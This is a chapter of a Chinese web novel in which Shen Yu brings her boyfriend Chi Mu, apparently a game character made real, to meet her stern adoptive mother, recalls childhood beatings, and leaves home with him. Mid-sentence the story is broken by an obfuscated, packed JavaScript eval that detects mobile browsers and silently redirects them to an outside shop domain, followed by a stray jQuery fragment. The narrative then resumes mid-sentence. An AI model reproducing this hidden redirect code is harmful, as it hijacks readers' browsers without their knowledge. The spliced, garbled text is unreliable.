34. “私奔”
    他的话音刚落,沈母已经在两人面前站定,一双眼睛不带任何情绪地扫射,足以让沈榆整个人都紧绷起来。

    池暮的胳膊肘一动,轻轻推了沈榆一把。

    俩人刚刚已经把该商量全部说了一通悄悄话商量好了。

    沈榆立刻会意,咽了咽口水,对着沈母字正腔圆地说道:“母亲,这是我的男朋友,池暮。”

    池暮这才笑了,唇下痣微微扬起,虎牙尖尖也冒出头来,看着沈榆的眼里盛满了星星。

    在一旁默默吃瓜的刘管家眼前一亮又一亮——啧啧,只这身上的朝气,就完胜他家少爷了。刘管家不禁在心里感慨,他们少爷本就没有的胜算这下是雪上加霜了。

    “您好,我是池暮。”池暮的眼睛从沈榆紧绷的侧脸移开,对着沈母笑着点了点头,算是打招呼。

    沈母觑他一眼,他咧嘴一笑,纯良无辜,乖得很,一旁的沈榆嘴角一绷,狂掐大腿肉。

    沈母的第一印象——

    似乎是个傻的,不过好像还有点儿心眼子。

    不过那点儿心眼子也不多,还是全花在沈榆身上了的那种。

    沈母没有立即说话,而是自己先坐了下来,紧接着又对其他人说着:“坐吧。”

    刘管家则是将池暮带过来的礼物离开了这里,留给他们谈话的空间。

    沈榆看着那个长长一条的盒子,凑近他悄悄问道:“你送的什么?”

    母亲她见过的好东西多了去了,万一不合她心意,又要说些什么资格不资格的话来膈应她和池暮,沈榆更不想池暮被母亲贬损。

    池暮故作神秘:“以后告诉你,现在可不是时候。”

    “可是我好奇怎么办?”

    “别好奇。”

    “你个人机!”

    “不是人机,是男朋友。”

    沈榆的脸歘一下又红了。她一直在刻意忽略这个称呼,他非要反复提及,果然他那张嘴巴就是说不出什么顺她心意的话。

    两个人说悄悄话的动作尽收沈母眼底,沈母淡淡地提醒道:“我能听到。”

    沈榆瞬间坐直了身体,池暮瞥了她一眼,依然是该怎么来怎么来,没有一点儿拘谨的样子。

    沈母面无表情:“池先生看起对这里很熟悉,是阿榆带你来过吗?”

    沈榆自动在脑子里翻译:你们认识多久了?

    沈榆快速地替池暮回答道:“我带他来过,我们已经认识一年多了。”

    “哦?还挺久?”沈母笑了一下,嘴角并没有多少愉悦的弧度,“阿榆怎么不早点带给我看看。”

    沈榆这里的“一年多”只能算是另一种意义上的“一年多”,如果让现在的沈榆来定义的话,大概类似于在网上一起玩了一个对抗类游戏的网友?还是玩不过他的那种。

    “母亲之前工作很忙,哥也是,所以一直没有机会。”沈榆扯谎总是面不改色心不跳。

    他在这里的厨房煮过粥,还堂而皇之地出现在沈榆的卧室里,沈榆当然知道他为什么对这里这么熟悉,但是她绝对不能那么说。

    池暮在一旁端方地坐着,勉强有点儿见家长的样子:“阿姨,我性格就是这样,适应新环境也快,不怕生,被冒犯到了的话您多包涵。”

    池暮又开始立人设了。

    书里写到过:

    【看着沈榆被沈青辞牵着离开的场景,彼时的池暮并不知晓这是一场沉浸式的游戏,在意时间这种东西的人只有他一个。】

    【他本来是被固定好程序的npc,只需要待在他的安全区内,一遍又一遍地重复他破破烂烂的人生就好了。为什么想要不断靠近他们?为什么不自量力呢?】

    【“为什么不自量力呢?”阿榆他们的小团队离开的最后那天,池暮听到了从阿榆口中说出的这句话。】

    【他从分隔副本世界的重力墙内探出着半个身子,僵硬地去抓沈榆,却够不着,只能笑着乖乖回答她:“我也不知道。”】

    【阿榆的表情一眼难尽,像是看到了黏在脚上的臭狗屎,行走在这片一眼看不到尽头的废土上,一时半会儿甩也甩不掉,恶心至极。】

    【正在这时,她又听见他说:“我不怕生的,阿榆去哪里,我也可以去哪里。”】

    【“阿榆,我想去到你的世界。”】

    【……】

    这正是“池暮”真正开始崩坏的地方,现在看来,他也不是一开始就对她也喊打喊杀的。

    因为是和“池暮”一拉一扯写下的东西,因为是她曾经钻研过无数遍为了找出逻辑漏洞的东西,所以自然熟悉至极。

    他一句话,一个表现都能勾起她对那些文字的回忆。

    池暮是真切存在的。

    沈榆更加清楚地认识到了这个现实,不自觉地攥紧了他的手。池暮瞥了她一眼,嘴角的弧度更柔和了些。

    沈母蹙了蹙眉,总觉得池暮的话里话外藏着她听不出的机锋,带着微小的刺儿,笑着扎在人的身上。

    “你是阿榆的男朋友,单是这一个身份就足够你冒犯许多次了。”沈母这句话算是挑明了。

    或者说,只要沈榆的男朋友不是她指定的那个人,她自然就哪哪也看不惯。

    沈榆只庆幸现在的沈母脾气好了许多,没有直接把池暮轰出去然后打她一顿板子。

    不过她的戒尺被自己藏起来了,自然是想打也打不了了,沈榆眉毛微动,有些小紧张地往池暮身边蹭了蹭,好像这样就能寻到什么安全感似的。

    一颗心安定些许,紧接着才小声地辩解道:“母亲,这是我挑的人,只给我看而已,若是这样您还是觉得冒犯的话,您多忍忍。”

    池暮看着她的侧脸,忍不住低下头去笑了。

    啧,难搞。

    说她说话好听,她关心人都非要拐着弯儿骂自己。

    说她说话难听吧,但今天晚上的每一句怎么听着都这么舒服呢?

    “你笑什么,严肃点儿。”沈榆赶紧小声地提醒他——没看见对面的人眼神不对吗?

    “咳咳。”池暮咳了两声收住,眼里眉梢尽是笑意,“阿姨,最近沈榆在家跟我这样讲话讲惯了,您多包涵。”

    沈榆被他惊得一下子掐住了他的虎口,池暮任由她掐,只是又“小声”地凑到她耳边:“你牵太紧了,手心出好多汗,换一只好不好?”

    池暮满布疤痕的手心时常干燥得剌手,手感并没有多好。这会儿手心出汗的人不用多说,自然是沈榆。

    像是被戳破了什么小心思,沈榆立马松了力道,一双手放在自己的大腿上,坐得更加笔挺,像是上课正在认真听讲又突然被老师点到的学习委员。

    沈母被两个人打配合一般的有来有回气笑了。

    这小子,语气一句话比一句话委婉,这话里的意思又一句话比一句话呛人,沈母对他的第一印象自然也碎了个干净,却看起来并没有多少生气,甚至比沈榆想象中要好说话很多。

    “你俩现在住一起?”沈母直截了当地问道。

    沈榆犹豫一瞬,点了点头。

    这停顿和犹豫并非因为对问题的不确定,而是她突然意识到——

    若说池暮是她小时候认识的人,来到她的身边只是为了告诉她这一切真相,那他现在是不是已经完成了他的心愿?

    而且真实存在的池暮,并不存在什么要不要把他送不送走的问题,只有他要不要离开的问题——主动离开。

    沈榆下意识地看了池暮一眼,池暮笑意盈盈地回望过来:“怎么了?”

    还真挺会装,找他

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14151160|145539||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    来是个正确的选择。

    她才没有想要留下他,在他走之前,她绝对要榨干他的最后一点利用价值!

    “笑得真丑。”沈榆没头没脑地骂了一句,转而将对着沈母说道:“母亲,人给您见过了,我就不多留了。”

    “不多留了?阿榆,这里才是你的家不是吗?”沈母像是听到了什么奇怪的话,蹙着眉,声音严肃了些许,“回去住多不吉利。”

    她这话一出,池暮比沈榆先冷了脸:“沈夫人,几百年前这别墅区的山头哪里不是坟?您也换个山头住算了,不然多不……”

    沈榆一下子捂上了他的嘴巴。

    刚在心里夸他做的好嘴巴甜,下一秒就人设崩塌原形毕露!

    沈榆解释道:“母亲,这是我自己做兼职攒了这么多年买下来的地方,我很喜欢,住得也很舒服,您不用担心。”

    若是以前,沈榆会担心她一句“长大了翅膀硬了”把自己囚在这里不让出去,但现在反倒是说话大胆了许多——

    个中原因,她好像隐隐约约感觉到一些。

    “母亲,我很感激这么多年来艺术老师、礼仪老师、家教老师对我的教育,感激父亲收养我之后,您即使讨厌我还愿意在我身上花这么多钱,感激我哥对我的关心和保护……”

    “我已经长大了,你们工作也忙不过来,就不需要在我身上花费那么多心思了。”

    沈母目光紧了紧:“你这是什么意思?”

    “母亲,说实话,比起沈家,我更喜欢我那个小房子的原因……不是因为环境,而是因为人。”

    “我想妈妈,我想离她近一点。我害怕您,所以我想离您远一点。”沈榆坦白道。

    她看着沈母,却又不像是在看着沈母,眼底的光芒浮动着,是真切的怀念。

    妈妈≠母亲。

    沈榆清楚,沈母自己也清楚。沈榆和沈青辞并未主动喊过她一句“妈妈”。

    沈榆从前不懂沈青辞为什么不喊“妈妈”,因为电视剧里的小孩都是亲亲热热地喊妈妈,为什么他不会呢?她也就怯生生地跟在他后面探出头来喊“母亲”,一喊就是许多年。

    直到后来沈母第一次在她面前举起那道戒尺,沈榆终于知道了原因——那么长一条,狠狠抽在沈青辞身上,皮开肉绽,三两下以后护着她的新哥哥就摔在了地上,额头磕出个大大的包,那么大个头儿,却怎么也起不来了。

    于是就轮到了她。

    这时候她的新哥哥又能爬起来了,喘着粗气趴在她的后背,高大的身躯将她完全包裹在怀里,耳边只能听到他不断哀求的声音。

    那温度密密麻麻地包裹着她,形成一个密不透风的避风港,代价是沈青辞身上未曾间断的伤痕。

    “害怕我?为什么会害怕我?我给你们最优渥的生活,给你们做人上人的资格,你们不想要吗?”沈母揉了揉眉心,失望也跟着溢出,看起来是真的疑惑。

    所幸她并未计较沈榆刚刚的一番对她来说又是大逆不道的话。沈榆没有回复她,而是问道:“母亲,您又让哥罚跪了吧?”

    因为她把戒尺偷走了,应该只有这个可能了。沈榆早就注意到沈青辞没有出现了。

    “您这个母亲……真的不太称职。”沈榆抓着池暮的手,几乎是破罐子破摔地对沈母说出了这句话。

    而后,不等沈母说话,就深深一鞠躬:“我先走了,祝您工作顺利。以后逢年过节再回来给您拜年,您就当我跟别人私奔了吧!”

    说话以后,沈榆拉着池暮便跑了,连背影都透着沈母从未见过的神采飞扬——

    看起来倒确实像私奔去了,不,不是私奔,是光明正大的那种。

    沈母无奈地笑了一声,“刘伯,去送送阿榆他们,让那处不用拦了。”